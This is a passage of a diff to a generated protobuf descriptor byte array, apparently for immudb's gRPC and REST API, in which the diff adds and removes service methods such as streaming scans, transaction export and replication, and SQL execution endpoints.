0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, + 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, + 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, + 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, + 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, + 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, + 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, + 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, + 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, + 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, + 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, + 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, - 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, - 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, - 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, - 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, - 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, - 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, - 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, - 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, - 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, - 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, - 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, - 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, - 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, - 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, - 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, - 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, - 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, - 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, - 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, - 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, - 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, - 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, - 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, - 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, - 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, - 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, + 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, + 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, + 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, + 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, + 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, + 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, + 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, + 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, + 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, + 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, + 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, + 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, + 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 